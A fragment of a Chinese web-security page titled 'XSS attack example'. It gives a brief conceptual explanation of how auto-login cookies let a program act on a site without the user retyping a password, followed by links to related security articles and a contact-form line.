XSS攻擊實例 -------基本思路:我們都知道網(wǎng)上很多網(wǎng)站都可以“記住你的用戶名和密碼”或是“自動登錄”,其實是在你的本地設置了一個cookie,這種方式可以讓你免去每次都輸入用戶名和口令的痛苦,但是也帶來很大的問題。試想,如果某用戶在“自動登錄”的狀態(tài)下,如果你運行了一個程序,這個程序訪問“自動登錄”這個網(wǎng)站上一些鏈接、提交一些表單,那么,也就意味著這些程序不需要輸入用戶名和口令的手動交互就可以和服務器上的程序通話。
Web安全測試之XSS
Web API 入門指南 - 閑話安全
中間人攻擊(MITM)姿勢總結
淺談WEB安全性(前端向)
*請認真填寫需求信息,我們會在24小時內與您取得聯(lián)系。